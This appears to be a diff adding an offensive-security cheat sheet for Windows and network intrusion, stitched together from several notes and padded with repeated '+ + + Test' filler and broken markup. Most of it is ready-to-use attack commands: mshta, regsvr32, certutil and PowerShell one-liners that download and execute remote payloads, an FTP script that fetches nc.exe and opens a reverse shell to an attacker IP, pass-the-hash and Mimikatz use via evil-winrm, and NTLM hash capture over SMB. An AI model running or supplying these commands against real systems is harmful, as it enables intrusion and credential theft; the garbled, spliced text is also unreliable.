ftp ip_address
+#enter username
+#enter password
+
+#print working directory
+pwd
+
+#list file in directory
+ls
+
+#change working directory
+cd /dir/dir
+cd ../dir
+cd ..
+cdup
+
+#creating directory
+mkdir new_dir
+
+#removing directory
+rmdir new_dir
+
+#change transfer mode
+ascii #suitable for transferring text data such as HTML files.
+binary #
+
+#download and upload a file
+get Download.txt
+put Upload.txt
+
+#download upload multiple files
+mget *.txt
+mget file?.txt file?.zip
+mput file.jpg file.jpg
+mput *.zip
+
+#delete file | multiple files
+delete file.zip
+mdelete *.zip
+
+#rename a file
+rename name.txt new_name.txt
+
+# append remote file data
+append new_data.sh old_data.sh
+
+#change file permissions
+chmod 777 file.sh
+chmod +x file.sh
+
+#to exit
+bye
+exit
+quit
+-4 Use only IPv4 to contact any host.
+-6 Use IPv6 only.
+-e Disables command editing and history support, if it was compiled into the ftp executable. Otherwise, it does nothing.
+-p Use passive mode for data transfers. Allows the use of ftp in environments where a firewall prevents connections from the outside world back to the client machine. Requires the ftp server to support the PASV command .
+-i Turns off interactive prompting during multiple file transfers.
+-n Restrains ftp from attempting auto-login upon initial connection. If auto-login is enabled, ftp checks the .netrc (see netrc ) file in the user’s home directory for an entry describing an account on the remote machine. If no entry exists, ftp prompts for the remote machine login name (the default is the user identity on the local machine), and, if necessary, prompt for a password and an account with which to login.
+-g Disables file name globbing.
+-v The verbose option forces ftp to show all responses from the remote server, as well as report on data transfer statistics.
+-d Enables debugging.
+# Set up a SMB server using smbserver.py from impacket
+smbserver.py SHARE_NAME path/to/share
+
+# From target Windows:
+net view \\KALI_IP
+(Should display the SHARE_NAME)
+
+dir \\KALI_IP\SHARE_NAME
+copy \\KALI_IP\SHARE_NAME\file.exe .
+
+# Looking at smbserver logs you also grab the NTLMv2 hashes of your current Windows user
+# can be usefull to PTH, or crack passwords
+
+# Since Windows 10, you can't do anonymous smb server anymore
+sudo python smbserver.py SDFR /BloodHound/Ingestors -smb2support -username "peon" -password "peon"
+net use Z: \\192.168.30.130\SDFR /user:peon peon
+net use Z: /delete /y
+# Method 1
+mshta vbscript:Close(Execute("GetObject(""script:http://IP/payload.sct"")"))
+
+# Method 2
+mshta http://IP/payload.hta
+
+# Method 3 (Using WebDav)
+mshta \\IP\payload.hta
+
+#Download and execute XSL using wmic
+wmic os get /format:"https://webserver/payload.xsl"
+
+
+# Download and execute over a WebServer:
+regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
+
+# Using WebDAV
+regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
+
+# Powershell Cmdlet
+Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
+
+# Powershell One-Line
+(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
+
+# In Memory Execution
+IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
+scp <options> <source_path> <destination_path>
+scp o s_path d_path
+
+#specifying port with -P
+scp -P 5562 file <username>@<remotehost_ip>:</path/to/file>
+scp -P 5562 f? u@ip:r_file_path
+
+# uploading a file
+scp file <username>@<remotehost_ip>:</path/to/file>
+scp file u@ip:r_file_path
+
+# uploading multiple files
+scp file1 file2 <username>@<remotehost_ip>:</path/to/directory>
+scp f? f? u@ip:r_dir_path
+
+# downloading a file
+scp <username>@<remotehost_ip>:</path/to/file> </local/path/to/file>
+scp u@ip:r_file_path l_file_path
+
+# downloading multiple files
+scp <username>@<remotehost_ip>:</path/directory/\{file.txt,file2.txt\}> .
+scp u@ip:dir_path/\f?,f? .
+
+# downloading a directory
+scp -r </path/to/directory> <username>@<ip_address>:</path/to/directory>
+scp -r l_dir_path u@ip:r_dir_path
+# Execute file from a WebDav server:
+cscript //E:jscript \\IP\folder\payload.txt
+
+# Download using wget.vbs
+cscript wget.vbs http://IP/file.exe file.exe
+
+# One liner download file from WebServer:
+powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"
+powershell -exec bypass -c "(new-object System.Net.WebClient).DownloadFile('http://IP/file.exe','C:\Users\user\Desktop\file.exe')"
+
+# Download from WebDAV Server:
+powershell -exec bypass -f \\IP\folder\payload.ps1
+# Multiple ways to download and execute files:
+certutil -urlcache -split -f http://webserver/payload payload
+
+# Execute a specific .dll:
+certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
+
+# Execute an .exe:
+certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
+Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +++[!NOTE] Resources
+
Kaonashi +richelieu +rockyou +packetstormsecurity +gwicks dictionaries
+SCADA Default Passwords +critifence +weakpass +berzerk0
+Looks very cool wordlists +FlameOfIgnis
+```shell title:"Wordlists" +sudo apt-get install seclists +ls /usr/share/wordlists
+cewl -w customwordlist.txt -d 5 -m 7 www.sans.org
+cewl -w customwordlist.txt -d 5 -m 7 -o www.sans.org
+cewl -w customwordlist.txt -d 5 -m 7 -e www.sans.org
+PACK
+https://github.com/iphelix/pack
+python statsgen.py rockyou.txt
+Combinator
+combinator.exe file1 file2
+combinator2.exe file1 file2 file3
+combinator.exe file1 file2 | hashcat -m x hashs.file -a 0 --force -O
+```
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +++ + + + + + + + + + + + + + + + + + + + +Resources +Impacket – SecureAuth +Offensive Security Cheatsheet
+
Test
+ + + + + + + + + + + + + + + + + + + + +This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
+ + + + + + + + + + + + + + + + + + + + + +A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.
+ + + + + + + + + + + + + + + + + + + + + +#install - Ruby
+gem install evil-winrm
+
+#example
+evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
+
+#enable SSL
+evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s
+
+#Login with NTLM Hash -Pass The Hash Attack
+evil-winrm -i 192.168.1.19 -u administrator -H 32196B56FFE6F45E294117B91A83BF38
+
+#Login with the key using Evil-winrm
+evil-winrm -i 10.129.227.105 -c certificate.pem -k priv-key.pem -S
+
+#Load Powershell Script - example with mimikatz.ps1
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -s /opt/privsc/powershell
+Bypass-4MSI
+Invoke-Mimikatz.ps1
+Invoke-Mimikatz
+
+#Store logs with Evil-winrm
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -l
+
+#Disable Remote Path Completion
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -N
+
+#Disable Coloured Interface
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -n
+
+#Run Executables File
+evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987 -e /opt/privsc
+Bypass-4MSI
+menu
+Invoke-Binary /opt/privsc/winPEASx64.exe
+
+#Service Enumeration with Evil-winrm
+menu
+services
+
+#File Transfer with Evil-winrm
+upload /root/notes.txt .
+download notes.txt /root/raj/notes.txt
+
+#Use Evil-winrm From Docker
+docker run --rm -ti --name evil-winrm oscarakaelvis/evil-winrm -i 192.168.1.105 -u Administrator -p 'Ignite@987'
+PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom).
+ + + + + + + + + + + + + + + + + + + + + +A similar approach to PSEXEC w/o using RemComSvc. The technique is described here. Our implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
+# smbexec
+# A similar approach to PSEXEC w/o using RemComSvc. The technique is described here.
+# Instantiating a local smbserver to receive the output of the commands.
+# This is useful in the situation where the target machine does NOT have a writeable share available.
+smbexec.py domain/user:password@IP <command>
+A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy.
+ + + + + + + + + + + + + + + + + + + + + +# Set up a ftp downloading script on the target machine:
+echo open IP 21 > ftp.txt
+echo USER acknak>> ftp.txt
+echo jLQRZy4gyLhmMqz2whTw>> ftp.txt
+echo ftp >> ftp.txt
+echo bin >> ftp.txt
+echo GET wget.exe >> ftp.txt
+echo bye >> ftp.txt
+
+# Download the prepared file:
+ftp -v -n -s:ftp.txt
+
+# Start tftp server on Kali
+aftpd start
+
+# Transfer files from Kali to Windows (from windows terminal)
+tftp -I IPADDRESS GET nameoffile.exe
+
+# You can have a shell using this
+echo open <attacker_ip> 21> ftp.txt
+echo USER offsec>> ftp.txt
+echo ftp>> ftp.txt
+echo bin >> ftp.txt
+echo GET nc.exe >> ftp.txt
+echo bye >> ftp.txt
+ftp -v -n -s:ftp.txt
+nc.exe <attacker_ip> 1234 -e cmd.exe
+telnet 10.10.45.250 110
+#Trying 10.10.45.250...
+#Connected to MACHINE_IP.
+#Escape character is '^]'.
+#+OK MACHINE_IP Mail Server POP3 Wed, 15 Sep 2021 11:05:34 +0300
+USER frank
+#+OK frank
+PASS D2xc9CgD
+#+OK 1 messages (179) octets
+STAT
+#+OK 1 179
+LIST
+#+OK 1 messages (179) octets
+#1 179
+.
+RETR 1
+#+OK
+From: Mail Server
+To: Frank
+subject: Sending email with Telnet
+Hello Frank,
+I am just writing to say hi!
+.
+QUIT
+#+OK MACHINE_IP closing connection
+#Connection closed by foreign host.
+++ + + + + + + + + + + + + + + + + + + + +Resources +- mssqlinstance.py: Retrieves the MSSQL instances names from the target host. +- mssqlclient.py: An MSSQL client, supporting SQL and Windows Authentications (hashes too). It also supports TLS.
+
```shell title:POP3 fold:folded +telnet 10.10.45.250 110
+USER
PASS
STAT
+LIST
+1 179 +. +RETR 1
+From: Mail Server +To: Frank +subject: Sending email with Telnet +Hello Frank, +I am just writing to say hi! +. +QUIT
+```
+ + + + + + + + + + + + + + + + + + + + +#everything, runs all options apart from dictionary based share name guessing
+enum4linux -a target-ip
+
+#list usernames
+enum4linux -U x.x.x.x
+
+#list windows shares
+enum4linux -S x.x.x.x
+
+#dictionary attack
+enum4linux -s shares.txt target-ip
+
+#pull usernames from the default RID range (500-550,1000-1050)
+enum4linux -r target-ip
+
+#pull usernames using a custom RID range
+enum4linux -R 600-660 target-ip
+
+#view password policy
+enum4linux -P x.x.x.x
+
+#view OS info
+enum4linux -o x.x.x.x
+
+#list groups
+enum4linux -G target-ip
+
+#if on domain, tried to get some LDAP info
+enum4linux -l x.x.x.x
+
+#-i flag any Printer info
+enum4linux -i x.x.x.x
+
+#NetBIOS info
+enum4linux -n x.x.x.x
+
+#run all simple enumeration
+enum4linux -a x.x.x.x
+
+#connect with user and password
+enum4linux -u administrator -p password -U target-ip
+
+#verbose mode
+enum4linux -v target-ip
+#get list of shares on target
+smbclient -L //10.10.0.50/
+
+#if it was misconfigured, we can log in anonymously by simply hitting _Enter_ at the prompt
+#-U flag to specify the username (in this case a blank string) and the -N flag to specify no password
+smbclient -L //10.10.0.50/ -U '' -N
+
+#connect to share name
+smbclient //10.10.0.50/<sharename>
+
+#list directory
+dir
+
+#download file
+get example.txt
+
+#upload file
+put evil_file.txt
+smbclient.py +- A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It’s an excellent example to see how to use impacket.smb in action.
+addcomputer.py +- Allows to add a computer to a domain using LDAP or SAMR (SMB).
+getArch.py: +- This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
+exchanger.py +- A tool for connecting to MS Exchange via RPC over HTTP v2.
+lookupsid.py: +- A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.
+netview.py: +- Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers.
+reg.py: +- Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility.
+rpcdump.py: +- This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints.
+rpcmap.py +- Scan for listening DCE/RPC interfaces. This binds to the MGMT interface and gets a list of interface UUIDs. If the MGMT interface is not available, it takes a list of interface UUIDs seen in the wild and tries to bind to each interface.
+samrdump.py: +- An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service.
+services.py: +- This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change.
+smbpasswd.py +- This script is an alternative to smbpasswd tool and intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR)
+ + + + + + + + + + + + + + + + + + + + +telnet 10.10.45.250 25
+#Trying 10.10.45.250...
+#Connected to MACHINE_IP.
+#Escape character is '^]'.
+#220 bento.localdomain ESMTP Postfix (Ubuntu)
+helo telnet
+#250 bento.localdomain
+mail from:
+#250 2.1.0 Ok
+rcpt to:
+#250 2.1.5 Ok
+data
+#354 End data with .
+subject: Sending email with Telnet
+Hello Frank,
+I am just writing to say hi!
+.
+#250 2.0.0 Ok: queued as C3E7F45F06
+quit
+#221 2.0.0 Bye
+#Connection closed by foreign host.
+List of services and general commands
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +Test
+ + + + + + + + + + + + + + + + + + + + +